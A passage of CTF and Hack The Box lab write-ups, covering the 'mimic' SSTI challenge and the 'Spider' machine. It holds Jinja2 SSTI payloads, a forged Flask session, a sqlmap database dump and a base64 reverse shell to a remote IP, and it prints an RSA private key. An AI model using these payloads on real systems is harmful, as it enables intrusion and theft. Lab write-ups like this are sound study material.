java@engine-1:/tmp/leakp$ cd leak
cd leak
java@engine-1:/tmp/leakp/leak$ php -S 0.0.0.0:8080 &
php -S 0.0.0.0:8080 &
[2] 162
```

在java的shell中运行leak.py得到key

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssti2.jpg)

``` bash
java@engine-1:/tmp$ echo aW1wb3J0IHJlcXVlc3RzCmltcG9ydCB0aW1lCgojbGVhay5weQp1cmw9Imh0dHA6Ly8xMjcuMC4wLjE6ODg4OC8iCmNvZGU9Ii0wMTIzNDU2Nzg5YWJjZGVmIgpmPSIiCgpmb3IgeCBpbiByYW5nZSgxMik6CiAgICBjdXQgPSAoMTEteCkqJy1jb25maWcuSlNPTl9TT1JUX0tFWVMnCiAgICBsZWFrX3RlbXAgPSAie3tjb25maWcuU0VDUkVUX0tFWVtjb25maWcuSlNPTklGWV9NSU1FVFlQRS5pbmRleChjb25maWcuQVBQTElDQVRJT05fUk9PVCkiK2N1dCsiXX19IgogICAgZm9yIHkgaW4gY29kZToKICAgICAgICAjdGltZS5zbGVlcCgyKQogICAgICAgIHRleHQ9cmVxdWVzdHMuZ2V0KHVybCxwYXJhbXM9eyJ1c2VybmFtZSI6bGVha190ZW1wfSx2ZXJpZnk9RmFsc2UpLnRleHQKICAgICAgICAjcHJpbnQodGV4dCkKICAgICAgICBpZiAiPjQwNDwiIGluIHRleHQ6CiAgICAgICAgICAgIHBhc3MKICAgICAgICBlbHNlOgogICAgICAgICAgICAjdGltZS5zbGVlcCgwLjAxKQogICAgICAgICAgICByZXF1ZXN0cy5nZXQodXJsLHBhcmFtcz17InVzZXJuYW1lIjp5KyJjb2RlIn0sdmVyaWZ5PUZhbHNlKQogICAgICAgICAgICBmKz15CiAgICAgICAgICAgIHByaW50KGYpCiAgICAgICAgICAgIGJyZWFr|base64 -d > leak.py
5CiAgICAgICAgICAgIHByaW50KGYpCiAgICAgICAgICAgIGJyZWFr|base64 -d > leak.pyICBmKz15
java@engine-1:/tmp$ python3 leak.py
0
05
05a
05a8
05a89
05a894
05a8942
05a89427
05a89427-
05a89427-b
05a89427-b1
05a89427-b16
```

然后在java的shell中,写脚本伪造session

``` bash
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle

app = Flask(__name__)
app.secret_key = "05a89427-b16"

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

def index():
   a={"cs":"__class__","bs":"__base__","sub":"__subclasses__","num":190,"it":"__init__","gb":"__globals__","bt":"__builtins__","el":"eval","cmd":"__import__('os').popen('cat /python_flag > /tmp/python_flag').read()"}
   print(session_serializer.dumps(a))

index()
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssti3.jpg)

``` bash
java@engine-1:/tmp$ echo ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sKZnJvbSBmbGFzay5zZXNzaW9ucyBpbXBvcnQgU2VjdXJlQ29va2llU2Vzc2lvbkludGVyZmFjZQppbXBvcnQgYmFzZTY0CmltcG9ydCBwaWNrbGUKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQphcHAuc2VjcmV0X2tleSA9ICIwNWE4OTQyNy1iMTYiCgpzZXNzaW9uX3NlcmlhbGl6ZXIgPSBTZWN1cmVDb29raWVTZXNzaW9uSW50ZXJmYWNlKCkuZ2V0X3NpZ25pbmdfc2VyaWFsaXplcihhcHApCgpkZWYgaW5kZXgoKToKICAgYT17ImNzIjoiX19jbGFzc19fIiwiYnMiOiJfX2Jhc2VfXyIsInN1YiI6Il9fc3ViY2xhc3Nlc19fIiwibnVtIjoxOTAsIml0IjoiX19pbml0X18iLCJnYiI6Il9fZ2xvYmFsc19fIiwiYnQiOiJfX2J1aWx0aW5zX18iLCJlbCI6ImV2YWwiLCJjbWQiOiJfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL3B5dGhvbl9mbGFnID4gL3RtcC9weXRob25fZmxhZycpLnJlYWQoKSJ9CiAgIHByaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=|base64 -d > sessions.py
=|base64 -d > sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=
java@engine-1:/tmp$ python3 sessions.py
.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw
java@engine-1:/tmp$ ls
ls
hsperfdata_java
leak.py
leak.pyICBmKz15
leakp
rev.py
sessions.py
sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=
tomcat.6008644274358516175.8080
```

然后在请求头中添加session

``` bash
Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw
```

构造python的poc后，使用burp发包

``` bash
{{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}
```

``` bash
GET /?username={{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}} HTTP/1.1
Host: eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888/
Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw
Upgrade-Insecure-Requests: 1
```

现在可以通过java的shell读取python_flag

``` bash
java@engine-1:/tmp$ ls -la
ls -la
total 36
drwxrwxrwt 1 root   root   4096 Jan 17 06:58 .
drwxr-xr-x 1 root   root   4096 Jan 17 06:30 ..
drwxr-xr-x 2 java   java   4096 Jan 17 06:36 hsperfdata_java
-rwxrwxrwx 1 java   java    621 Jan 17 06:49 leak.py
-rw-rw-r-- 1 java   java      0 Jan 17 06:46 leak.pyICBmKz15
drwxrwxr-x 3 java   java   4096 Jan 17 06:46 leakp
-rw-rw-r-- 1 python python   15 Jan 17 06:58 python_flag
-rwxrwxrwx 1 php    php     233 Jan 17 06:32 rev.py
-rw-rw-r-- 1 java   java    521 Jan 17 06:54 sessions.py
-rw-rw-r-- 1 java   java      0 Jan 17 06:53 sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=
drwxrwxr-x 3 java   java   4096 Jan 17 06:31 tomcat.6008644274358516175.8080
java@engine-1:/tmp$ cat python_flag
cat python_flag
480b-45a9-9e51
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssti4.jpg)

将三个flag拼接起来可以得到最后的flag

``` bash
flag{bae9466f-480b-45a9-9e51-286016a38d37}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mimic-ssti5.jpg)
<!-- kb:end mimic-ssti -->

</details>

<a id="case-spider"></a>

## 签名会话、模板与 XML

SQL 查询参数的签名处理需要与注入工具协调；Flask/Jinja2 和 XML 解析形成后续两段。原文保留 sqlmap eval 与 XXE 文件读取。

<p class="kb-provenance">来源 spider · 原记录 2021-06-04 · 18 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-spider">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start spider -->


#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	29 May 2021
IP:	10.10.10.243

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1988.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Recon

using nmap

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.243
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

There are two ports open 22:ssh 80:http

#### Port-80

It's redirect to spider.htb.

Let's add spider.htb in /etc/hosts file.

``` bash
10.10.10.243    spider.htb
```

Now let's go to spider.htb.

I found the username chiv inside black chair template.

Now let's register ourself.

Login with the password which we use in registration.

Now we are login but we can't access the admin page let's check inside user information.

My username is reflected here but i can't change my username but we can try SSTI(Server-Side Template Injection) inside username field let's register again with {{7*7}} username.

Register with username {{7*7}}

Now let's check our payload work or not inside user information page.

``` bash
http://spider.htb/user
```

It's worked 😃 we get the output 49.

It's mean the server running Jinja2 or flask. now let's try to get config file with {{config}}.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1989.jpg)

Register with the username {{config}}

And if we check the user information page we got the config file which has SECRET_KEY

``` bash
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>
```

Now let's try to dump the database with sqlmap with help of this SECRET_KEY.

But first install the req to use that SECRET_KEY

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# pip3 install flask_unsign
Collecting flask_unsign
  Downloading flask-unsign-0.1.0.tar.gz (14 kB)
Requirement already satisfied: flask in /usr/lib/python3/dist-packages (from flask_unsign) (1.1.2)
Requirement already satisfied: itsdangerous in /usr/lib/python3/dist-packages (from flask_unsign) (1.1.0)
Requirement already satisfied: markupsafe in /usr/lib/python3/dist-packages (from flask_unsign) (1.1.1)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from flask_unsign) (2.25.1)
Requirement already satisfied: werkzeug in /usr/lib/python3/dist-packages (from flask_unsign) (1.0.1)
Building wheels for collected packages: flask-unsign
  Building wheel for flask-unsign (setup.py) ... done
  Created wheel for flask-unsign: filename=flask_unsign-0.1.0-py3-none-any.whl size=13473 sha256=4168d0cfaed3b2508b4cb3d43f3a3f8f0786e931388d95ba5d46e2e7fa29c6fe
  Stored in directory: /root/.cache/pip/wheels/81/5a/d6/17703dd669250a72d9985b79b419f38307ba20678f71daadeb
Successfully built flask-unsign
Installing collected packages: flask-unsign
Successfully installed flask-unsign-0.1.0
```

Now we all set let's run the sqlmap.

 - Imp : In first question of sqlmap you need to type "Y" and after that you will type "n"

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --delay 1 --dump
        ___
       __H__                                                                                                                       
 ___ ___[']_____ ___ ___  {1.5.4#stable}                                                                                           
|_ -| . [.]     | .'| . |                                                                                                          
|___|_  [.]_|_|_|__,|  _|                                                                                                          
      |_|V...       |_|   http://sqlmap.org                                                                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:09:40 /2021-06-04/

custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[10:09:42] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[10:09:42] [WARNING] provided value for parameter 'session' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[10:09:42] [INFO] testing connection to the target URL
[10:09:44] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[10:09:47] [INFO] target URL content is stable
[10:09:47] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n] n
[10:09:49] [WARNING] (custom) HEADER parameter 'Cookie #1*' does not appear to be dynamic
[10:09:51] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable
[10:09:52] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*'
[10:09:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:10:06] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:10:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:10:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:10:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:10:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:10:35] [INFO] testing 'Generic inline queries'
[10:10:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:10:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:10:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:10:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[10:11:11] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[10:11:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:11:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:12:00] [INFO] target URL appears to be UNION injectable with 1 columns
[10:12:03] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=' AND (SELECT 1456 FROM (SELECT(SLEEP(5)))zGio) AND 'IMkG'='IMkG

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: session=' UNION ALL SELECT CONCAT(0x7162717a71,0x477a7a5770686c685a45574950634d4446784e46646d594a4c664f75705a787175564d6c4e72484b,0x716a626271)-- -
---
[10:12:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12
[10:12:20] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:12:20] [INFO] fetching current database
[10:12:21] [INFO] fetching tables for database: 'shop'
[10:12:22] [INFO] fetching columns for table 'items' in database 'shop'
[10:12:24] [INFO] fetching entries for table 'items' in database 'shop'
Database: shop
Table: items
[6 entries]
+----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+
| id | name        | price | image_path                                        | description                                                             |
+----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+
| 1  | Chair       | 1337  | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 2  | Black Chair | 1337  | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
| 3  | Chair       | 1337  | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 4  | Black Chair | 1337  | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
| 5  | Chair       | 1337  | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 6  | Black Chair | 1337  | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
+----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+

[10:12:25] [INFO] table 'shop.items' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/items.csv'
[10:12:25] [INFO] fetching columns for table 'users' in database 'shop'
[10:12:26] [INFO] fetching entries for table 'users' in database 'shop'
Database: shop
Table: users
[4 entries]
+----+--------------------------------------+------------+-----------------+
| id | uuid                                 | name       | password        |
+----+--------------------------------------+------------+-----------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv       | ch1VW4sHERE7331 |
| 2  | 9a13e0f6-ee27-4968-908f-0d9882c1f28a | lucifer11  | lucifer11       |
| 3  | dc63b342-e0d0-4503-945b-71a3cf365f8e | {{7*7}}    | {{7*7}}         |
| 4  | 38af247a-100f-4712-81c0-5ac1b95e8a95 | {{config}} | {{config}}      |
+----+--------------------------------------+------------+-----------------+

[10:12:28] [INFO] table 'shop.users' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/users.csv'
[10:12:28] [INFO] fetching columns for table 'support' in database 'shop'
[10:12:29] [INFO] fetching entries for table 'support' in database 'shop'
[10:12:32] [INFO] fetching number of entries for table 'support' in database 'shop'
[10:12:32] [INFO] retrieved: 
[10:12:32] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[10:14:03] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
0
[10:14:15] [WARNING] table 'support' in database 'shop' appears to be empty
Database: shop
Table: support
[0 entries]
+------------+---------+---------+-------------+
| support_id | contact | message | timestamp   |
+------------+---------+---------+-------------+
+------------+---------+---------+-------------+

[10:14:15] [INFO] table 'shop.support' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/support.csv'
[10:14:15] [INFO] fetching columns for table 'messages' in database 'shop'
[10:14:16] [INFO] fetching entries for table 'messages' in database 'shop'
Database: shop
Table: messages
[1 entry]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message                                                                           | timestamp           |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1       | 1       | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+

[10:14:17] [INFO] table 'shop.messages' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/messages.csv'
[10:14:17] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 84 times
[10:14:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/spider.htb'

[*] ending @ 10:14:17 /2021-06-04/
```

I got the uuid and Password of chiv.

``` bash
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv       | ch1VW4sHERE7331 |
```

Now let's try to login with chiv.

Now we have access of admin page let's check the messages.

We got the portal link which they said fix the portal let's go to that link and check what inside there.

``` bash
http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal
```

There is a support portal which we want to fix it's mean there is a problem in support portal.

After hit and try i got the correct payload to get rev shell.

 - [Server Side Template Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)

``` bash
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
```

Just change the base64 string with your ip and port and again encode with base64 and paste it in payload.

Now after that start your netcat listner on port which you add inside payload.

Now add your payload inside both parameter and submit the req.

And now if we check our netcat listner we got the shell as chiv.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.243.
Ncat: Connection from 10.10.10.243:43612.
bash: cannot set terminal process group (1386): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$ id
id
uid=1000(chiv) gid=33(www-data) groups=33(www-data)
chiv@spider:/var/www/webapp$ whoami
whoami
chiv
chiv@spider:/var/www/webapp$ cd
cd
chiv@spider:~$ ls
ls
user.txt
chiv@spider:~$ cat user.txt
cat user.txt
752a1885aef326b3d705f0b7ca531e4b
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1990.jpg)

And if we go inside /home/chiv/.ssh directory we got the id_rsa key.

``` bash
chiv@spider:~/.ssh$ ls -la
ls -la
total 16
drwx------ 2 chiv chiv 4096 May  6 11:42 .
drwxr-xr-x 6 chiv chiv 4096 May 18 00:23 ..
-rw-r--r-- 1 chiv chiv  393 May  4 15:42 authorized_keys
-rw------- 1 chiv chiv 1679 Apr 24  2020 id_rsa
chiv@spider:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
```

Now let's change our shell to ssh shell

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# ssh -i user chiv@10.10.10.243
The authenticity of host '10.10.10.243 (10.10.10.243)' can't be established.
ECDSA key fingerprint is SHA256:Z0c/GTs+BeZXyXf2c/kRC1Y+omqtI1wPaEfrz0vvYCM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.243' (ECDSA) to the list of known hosts.
Last login: Fri May 21 15:02:03 2021 from 10.10.14.7
chiv@spider:~$ id
uid=1000(chiv) gid=1000(chiv) groups=1000(chiv)
chiv@spider:~$ whoami
chiv
chiv@spider:~$ cat user.txt
752a1885aef326b3d705f0b7ca531e4b
```

#### Privilege escalation

let's run linPEAS.

After analyzing the linPEAS output i found a service running on localhost on port 8080.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1991.jpg)

For access the port 8080 we need to forward the port.

``` bash
ssh -i user -L 9002:localhost:8080 chiv@spider.htb
```

Now let's open the firefox and got to localhost:9002

And we got the beta login page.

Let's sign in with any username.

This is a shopping cart page where no links are working except logout and our username is also reflected.

And if we see the cookies we see a session cookie let's try to decode this.

I use flask-unsign to decode this.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# flask-unsign --decode --cookie .eJxNjsFPgzAchf8V07OH1rGDHJGWyaSkhV8LvYE1KYMimU1kLvvf3RJjdnz58r73zmha_YTiM3roUYyAcmbpWosxV1KHWXmiP3Rx6ndm6IBFdbYkFkgqGlmoVL4BdXvrX3-gCumVzxXwpGTLTh4Sc-O3bPCUCm1zgWlkmCv7jAeu3aAIHNvR6c6zRvv10I0qAlpsi-uemqehB4P1JHD13__zZ6ytvTGK5LhV73iPCbUb4zTdeq1sZTPW8Je7P_T7BN6NEsNRPC0b63koGzPKVDyjyyNaPoc5fKEYX34BWehYFw.YLo7NA.ZN0R3IrwiVI3inmmeoi3SoM5COw
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bHVjaWZlcjExPC91c2VybmFtZT4KICAgICAgICA8aXNfYWRtaW4+MDwvaXNfYWRtaW4+CiAgICA8L2RhdGE+Cjwvcm9vdD4=', 'points': 0}
┌──(root💀kali)-[~/hackthebox/machine/spider]
